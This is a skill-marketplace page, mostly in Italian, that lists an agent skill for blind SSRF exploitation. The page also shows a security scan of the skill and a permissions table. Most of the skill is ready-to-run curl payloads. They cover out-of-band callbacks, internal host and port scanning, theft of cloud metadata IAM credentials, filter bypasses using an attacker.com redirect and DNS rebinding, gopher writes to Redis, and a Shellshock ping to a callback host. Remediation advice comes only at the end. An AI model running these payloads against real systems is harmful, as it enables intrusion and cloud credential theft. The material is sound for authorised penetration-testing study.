Vai al contenuto
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
mukul975/performing-blind-ssrf-exploitationReverse engineering e fuzzing

performing-blind-ssrf-exploitation

⁨Detect and exploit blind Server-Side Request Forgery (SSRF) using out-of-band⁩

v1.03 installazioni+3 in 7 giorni36,3K StelleApache-2.0sincronizzato 11 ore fa

Installa

Non hai ancora la CLI di NotHoly? Installala prima.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install mukul975/performing-blind-ssrf-exploitation

Scrive in ⁦~/.notholy/skills⁩ dopo aver controllato la firma e lo SHA-256.

FirmaFirmato, ed25519
dzYe+g61w2…HOzrb8Ag==La CLI controlla lo SHA-256 e la firma prima di scrivere qualsiasi file.
Pacchetto0776be73…7c0f6b4f
0776be73a942…f0377c0f6b4f4 file · ⁦11.5 KB⁩
ScansioneAlto38 segnalazioni
  • Link a un servizio noto per scaricare datiSKILL.md:99
  • Link a un servizio noto per scaricare datireferences/api-reference.md:156
  • Link a un indirizzo IP direttoSKILL.md:133
Vedi la scansione completa
Sorgentegithub.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/performing-blind-ssrf-exploitation@54a7988

Questa voce non è ancora scritta in italiano, quindi è mostrata in un'altra lingua: English.

When to Use

  • When testing URL/webhook input parameters where server-side responses are not reflected
  • During assessment of applications that fetch external resources (avatars, previews, imports)
  • When testing PDF generators, image processors, or document converters for SSRF
  • During cloud security assessments to detect metadata endpoint access
  • When evaluating webhook functionality and URL validation implementations

Prerequisites

  • Burp Suite Professional with Burp Collaborator for OOB detection
  • interact.sh or webhook.site for external callback monitoring
  • Understanding of SSRF attack vectors and internal network enumeration
  • Knowledge of cloud metadata endpoints (AWS, GCP, Azure)
  • VPS or controlled server for advanced exploitation callback handling
  • Python with requests library for automation scripts

Workflow

Step 1 — Identify Blind SSRF Input Points

bash
# Common SSRF-susceptible parameters:
# url=, uri=, path=, dest=, redirect=, src=, source=
# link=, imageURL=, callback=, webhook=, feed=, import=

# Test URL fetch functionality
curl -X POST http://target.com/api/fetch-url \
  -H "Content-Type: application/json" \
  -d '{"url": "http://BURP-COLLABORATOR-SUBDOMAIN.oastify.com"}'

# Test webhook configuration
curl -X POST http://target.com/api/webhooks \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"callback_url": "http://COLLABORATOR.oastify.com/webhook"}'

# Test image/avatar URL
curl -X POST http://target.com/api/profile/avatar \
  -H "Authorization: Bearer TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"avatar_url": "http://COLLABORATOR.oastify.com/avatar.png"}'

# Test document import
curl -X POST http://target.com/api/import \
  -H "Content-Type: application/json" \
  -d '{"import_url": "http://COLLABORATOR.oastify.com/data.csv"}'

Step 2 — Confirm Blind SSRF with Out-of-Band Detection

bash
# Use Burp Collaborator for DNS + HTTP callbacks
# Generate collaborator payload: xxxxxx.oastify.com

# DNS-based detection (works even with HTTP blocked)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://dns-only-test.COLLABORATOR.oastify.com"}'
# Check Collaborator for DNS lookups

# HTTP-based detection
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://http-test.COLLABORATOR.oastify.com"}'
# Check for HTTP requests in Collaborator

# interact.sh alternative
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://RANDOM.interact.sh"}'
# Monitor interact.sh dashboard for interactions

Step 3 — Enumerate Internal Network

bash
# Scan internal IP ranges via blind SSRF
# Use timing differences to determine if hosts are alive

# Scan common internal ranges
for ip in 10.0.0.{1..10} 172.16.0.{1..10} 192.168.1.{1..10}; do
  start=$(date +%s%N)
  curl -X POST http://target.com/api/fetch -d "{\"url\": \"http://$ip/\"}" -s -o /dev/null --max-time 5
  end=$(date +%s%N)
  elapsed=$(( (end - start) / 1000000 ))
  echo "$ip: ${elapsed}ms"
done

# Port scanning via blind SSRF
for port in 80 443 8080 8443 3000 5000 6379 27017 5432 3306 9200; do
  curl -X POST http://target.com/api/fetch \
    -d "{\"url\": \"http://127.0.0.1:$port/\"}" -s -o /dev/null -w "%{time_total}\n"
  echo "Port $port tested"
done

# Use gopher:// for more advanced internal service interaction
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_INFO"}'

Step 4 — Access Cloud Metadata Endpoints

bash
# AWS metadata (IMDSv1)
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

# AWS IAM credentials
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://metadata.google.internal/computeMetadata/v1/"}'

# Azure metadata
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'

# DNS rebinding for metadata access (bypass IP blocking)
# Use services like rebinder.net to create DNS rebinding domains
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://A.169.254.169.254.1time.YOUR-REBIND-DOMAIN.com/"}'

Step 5 — Bypass SSRF Filters

bash
# IP representation bypass
curl -X POST http://target.com/api/fetch -d '{"url": "http://0x7f000001/"}'       # Hex
curl -X POST http://target.com/api/fetch -d '{"url": "http://2130706433/"}'         # Decimal
curl -X POST http://target.com/api/fetch -d '{"url": "http://0177.0.0.1/"}'         # Octal
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.1/"}'              # Short
curl -X POST http://target.com/api/fetch -d '{"url": "http://[::1]/"}'              # IPv6

# URL parsing confusion
curl -X POST http://target.com/api/fetch -d '{"url": "http://[email protected]/"}'
curl -X POST http://target.com/api/fetch -d '{"url": "http://127.0.0.1#@target.com/"}'

# Redirect-based bypass
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://attacker.com/redirect?url=http://169.254.169.254/"}'

# DNS rebinding
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://make-169-254-169-254-rr.1u.ms/"}'

Step 6 — Escalate Blind SSRF to Data Exfiltration

bash
# Exfiltrate data via DNS (when only DNS callback works)
# If you achieve SSRF to a service that reflects data:
# Chain: SSRF -> internal service -> DNS exfiltration

# Use gopher protocol for Redis command execution
curl -X POST http://target.com/api/fetch \
  -d '{"url": "gopher://127.0.0.1:6379/_SET%20ssrf_test%20exploited%0AQUIT"}'

# Chain blind SSRF with Shellshock on internal hosts
curl -X POST http://target.com/api/fetch \
  -d '{"url": "http://internal-cgi-server/cgi-bin/test.sh"}'
# With User-Agent: () { :; }; /bin/bash -c "ping -c1 COLLABORATOR.oastify.com"

# Exploit internal services via SSRF
# Redis: write SSH key
# Memcached: inject serialized objects
# Elasticsearch: read indices
# Internal API: access authenticated endpoints

Key Concepts

Concept Description
Blind SSRF Server makes request but response is not visible to attacker
Out-of-Band Detection Using external callbacks (DNS, HTTP) to confirm SSRF execution
DNS Rebinding Technique to bypass IP-based SSRF filters by changing DNS resolution
Cloud Metadata Instance metadata endpoints accessible via SSRF for credential theft
Gopher Protocol Protocol allowing crafted payloads to interact with internal TCP services
Time-Based Detection Detecting SSRF success by measuring response time differences
SSRF Chain Combining SSRF with other vulnerabilities for greater impact

Tools & Systems

Tool Purpose
Burp Collaborator Out-of-band interaction server for DNS and HTTP callback detection
interact.sh Open-source OOB interaction tool by ProjectDiscovery
SSRFmap Automated SSRF detection and exploitation framework
Gopherus Generate gopher payloads for exploiting internal services via SSRF
webhook.site Free webhook receiver for testing SSRF callbacks
rebinder.net DNS rebinding service for bypassing SSRF IP filters

Common Scenarios

  1. Cloud Credential Theft — Exploit blind SSRF to access AWS/GCP/Azure metadata endpoints and steal IAM credentials for cloud account compromise
  2. Internal Service Discovery — Use timing-based blind SSRF to enumerate internal network hosts and open ports
  3. Redis Exploitation — Chain blind SSRF with gopher:// protocol to execute commands on internal Redis instances
  4. Webhook Abuse — Exploit webhook URL fields to scan internal networks and exfiltrate data through OOB channels
  5. PDF Generator SSRF — Inject internal URLs into PDF generation features to exfiltrate internal content in rendered documents

Output Format

text
## Blind SSRF Assessment Report
- **Target**: http://target.com/api/fetch-url
- **Detection Method**: Burp Collaborator DNS + HTTP callback
- **Internal Access Confirmed**: Yes

### Findings
| # | Input Point | Payload | Detection | Impact |
|---|------------|---------|-----------|--------|
| 1 | POST /api/fetch url parameter | http://collaborator | HTTP callback | Confirmed SSRF |
| 2 | POST /api/avatar avatar_url | http://169.254.169.254 | Timing (2.3s vs 0.1s) | Cloud metadata |
| 3 | POST /api/webhook callback | gopher://127.0.0.1:6379 | Redis write confirmed | RCE potential |

### Internal Network Map
| Host | Port | Service | Accessible |
|------|------|---------|-----------|
| 10.0.0.5 | 6379 | Redis | Yes |
| 10.0.0.10 | 9200 | Elasticsearch | Yes |
| 169.254.169.254 | 80 | AWS Metadata | Yes |

### Remediation
- Implement allowlist of permitted external domains for URL fetching
- Block requests to private IP ranges and cloud metadata endpoints
- Use IMDSv2 (token-required) for AWS instance metadata
- Disable unused URL schemes (gopher, file, dict)
- Implement network-level segmentation for application servers

File di questa versione

Permessi

PermessoDichiaratoTrovato dalla scansione
Legge fileNoNo
Scrive fileSìSì
Esegue comandi shellSìSì
Usa la reteSìSì
Usa i connettoriNoNo
Controlla un browserNoNo

Segnalazioni della scansione

Rivisto il 13 nov 2026

  1. AltaLink · Link a un servizio noto per scaricare datiSKILL.md:99
  2. AltaLink · Link a un servizio noto per scaricare datireferences/api-reference.md:156
  3. MediaLink · Link a un indirizzo IP direttoSKILL.md:133
  4. MediaLink · Link a un indirizzo IP direttoSKILL.md:137
  5. MediaLink · Link a un indirizzo IP direttoSKILL.md:145
  6. MediaLink · Link a un indirizzo IP direttoSKILL.md:156
  7. MediaLink · Link a un indirizzo IP direttoSKILL.md:157
  8. MediaLink · Link a un indirizzo IP direttoSKILL.md:158
  9. MediaLink · Link a un indirizzo IP direttoSKILL.md:159
  10. MediaLink · Link a un indirizzo IP direttoSKILL.md:163
  11. MediaLink · Link a un indirizzo IP direttoSKILL.md:164
  12. MediaLink · Link a un indirizzo IP direttoSKILL.md:240
  13. MediaLink · Link a un indirizzo IP direttoreferences/api-reference.md:25
  14. MediaLink · Link a un indirizzo IP direttoreferences/api-reference.md:28
  15. MediaLink · Link a un indirizzo IP direttoreferences/api-reference.md:29
  16. MediaLink · Link a un indirizzo IP direttoreferences/api-reference.md:30
  17. MediaLink · Link a un indirizzo IP direttoreferences/api-reference.md:146
  18. MediaLink · Link a un indirizzo IP direttoreferences/api-reference.md:148
  19. MediaLink · Link a un indirizzo IP direttoreferences/api-reference.md:150
  20. MediaFile · Script eseguibile incluso nella skillscripts/agent.py
  21. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:29
  22. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:30
  23. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:31
  24. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:35
  25. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:38
  26. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:39
  27. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:42
  28. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:43
  29. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:44
  30. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:45
  31. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:46
  32. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:47
  33. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:49
  34. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:52
  35. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:53
  36. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:55
  37. MediaLink · Link a un indirizzo IP direttoscripts/agent.py:57
  38. InfoLink · Link a domini esterni

Una scansione pulita abbassa il rischio, ma non prova che il pacchetto sia sicuro. Leggi quello che installi.

VersionePubblicataCommitSHA-256FirmaCambio di permessi
v1.013 nov 202654a79880776be73Firmata–

Chiedi tutto quello che il tuo perimetro consente.

Crea un account, aggiungi crediti e fai la prima domanda in chat o nel terminale.

  1. 1/3

    Crea l'account

    Privato o azienda. Puoi passare ad azienda in seguito senza perdere saldo o chiavi.

    PrivatoAzienda
  2. 2/3

    Aggiungi crediti

    Con carta. Paghi a token, senza abbonamento.

    $5.00ricarica minima
  3. 3/3

    Chiedi

    In chat, oppure installa la CLI ed esegui notholy login nel terminale.

    $ notholy login